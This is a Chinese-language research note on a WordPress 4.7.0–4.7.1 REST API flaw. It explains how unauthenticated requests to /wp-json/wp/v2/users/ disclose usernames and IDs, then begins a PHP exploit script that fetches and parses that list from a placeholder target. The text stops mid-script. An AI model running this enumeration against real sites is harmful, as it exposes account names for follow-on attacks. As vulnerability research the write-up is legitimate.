wordpress4.7.0-4.7.1内容注入漏洞研究

wordpress4.7.0-4.7.1内容注入漏洞研究

一、获取user
1.影响：未授权获取发布过文章的其他用户的用户名、id
2.触发前提： wordpress配置REST API
3.影响版本：<= 4.7
4.漏洞说明： Get请求什么都不用做就可以避开wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php 的逻辑判断，返回ture，程序继续执行query，REST API接口查询后以json格式在前端显示。能够获取到用户的一些信息。 请求地址：http://127.0.0.1/wordpress-4.7.1/wp-json/wp/v2/users/
5.exploit：

<?php
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk 
header ('Content-type: text/html; charset=UTF-8');
$url= "http://xxxx.cn/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n"